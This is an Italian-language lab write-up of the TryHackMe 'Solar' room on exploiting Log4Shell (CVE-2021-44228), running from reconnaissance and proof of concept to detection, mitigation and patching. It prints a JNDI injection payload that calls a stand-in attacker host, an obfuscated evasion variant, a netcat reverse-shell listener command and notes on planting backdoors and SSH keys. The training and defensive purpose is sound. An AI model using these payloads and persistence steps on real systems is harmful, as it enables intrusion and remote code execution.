THM---Solar-exploiting-Log-4j

Questa stanza si basa sullo sfruttamento della famigerata vulnerabilità Log4j (CVE-2021-44228), nota anche come Log4Shell. La debolezza consente agli attaccanti di eseguire codice in remoto tramite l'iniezione di payload malevoli nei messaggi di log.

TASK 1 – CVE-2021-44228 INTRODUZIONE

In questo task ho imparato la vulnerabilità Log4Shell (CVE-2021-44228) in Apache Log4j. • Log4j è una libreria di logging Java ampiamente utilizzata. • La vulnerabilità consente l'esecuzione di codice remoto (RCE) tramite lookup JNDI. • Gli attaccanti possono iniettare payload come: ${jndi:ldap://attacker.com/a} • Quando viene registrato, il server contatta il server controllato dall'attaccante ed esegue codice malevolo. 👉 Questo ha mostrato quanto possa essere pericoloso registrare input utente senza sanificazione.

TASK 2 – RICOGNIZIONE

Qui ho iniziato a interagire con il sistema target. • Ho acceduto all'applicazione web. • Ho identificato campi di input e header che potrebbero essere registrati. • Ho osservato come l'applicazione elabora l'input utente. 👉 Obiettivo: trovare dove viene usato Log4j e dove possono essere iniettati i payload.

TASK 3 – SCOPERTA

In questo passaggio ho confermato la vulnerabilità. • Ho testato l'iniezione di payload in header come: • User-Agent • X-Forwarded-For • Ho controllato connessioni in uscita o risposte. 👉 Questo ha aiutato a verificare che l'applicazione è vulnerabile a Log4Shell.

TASK 4 – PROOF OF CONCEPT

Ho creato un PoC funzionante per dimostrare la vulnerabilità. • Ho configurato un listener/server per rilevare i callback. • Ho iniettato un payload JNDI. • Ho osservato che il target effettuava una richiesta al mio server. 👉 Questo ha confermato l'interazione remota → la vulnerabilità è sfruttabile.

TASK 5 – SFRUTTAMENTO

Qui sono passato dal PoC allo sfruttamento completo. • Ho ospitato un payload malevolo (classe Java o script). • Ho usato l'iniezione JNDI per forzare il server a caricarlo. • Ho ottenuto una reverse shell. Esempio: nc -lvnp 4444 👉 Ho eseguito con successo codice in remoto.

TASK 6 – PERSISTENZA

Dopo aver ottenuto l'accesso, ho garantito un accesso continuato. • Ho creato backdoor o aggiunto chiavi SSH. • Ho modificato configurazioni di sistema se necessario. 👉 Questo garantisce l'accesso anche dopo un riavvio o la perdita della sessione.

TASK 7 – RILEVAMENTO

Questo task si è concentrato sull'identificazione degli attacchi. • Ho imparato come appaiono gli exploit di Log4j nei log. • Indicatori: • Pattern ${jndi:ldap://...} • Traffico LDAP/DNS in uscita sospetto 👉 Importante per i blue team per rilevare i tentativi di sfruttamento.

TASK 8 – ELUSIONE

Qui ho esplorato come gli attaccanti aggirano i filtri. • Tecniche di offuscamento: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • Codifica dei payload per eludere il rilevamento. 👉 Dimostra che un semplice filtraggio non è sufficiente.

TASK 9 – MITIGAZIONE

Ho imparato come ridurre il rischio senza una patch completa. • Disabilitare i lookup JNDI • Limitare le connessioni di rete in uscita • Usare regole WAF 👉 Difese temporanee prima di una corretta patch.

TASK 10 – PATCH

Mi sono concentrato su fix permanenti. • Aggiornare Log4j a: • 2.17.0 o successiva • Rimuovere le classi vulnerabili: JndiLookup.class 👉 Una corretta patch elimina completamente la vulnerabilità.

TASK 11 – CREDITI E NOTE DELL'AUTORE

• Riconoscimento ai creatori della stanza. • Riepilogo degli obiettivi di apprendimento. • Considerazioni finali sull'impatto di Log4Shell.

CONSIDERAZIONI FINALI

Questa stanza mi ha dato una comprensione completa di: • Come funziona una vulnerabilità critica del mondo reale • Come gli attaccanti la sfruttano passo dopo passo • Come i difensori la rilevano e la prevengono 👉 È stata un'ottima esperienza pratica con una delle vulnerabilità più impattanti nella storia della cybersecurity.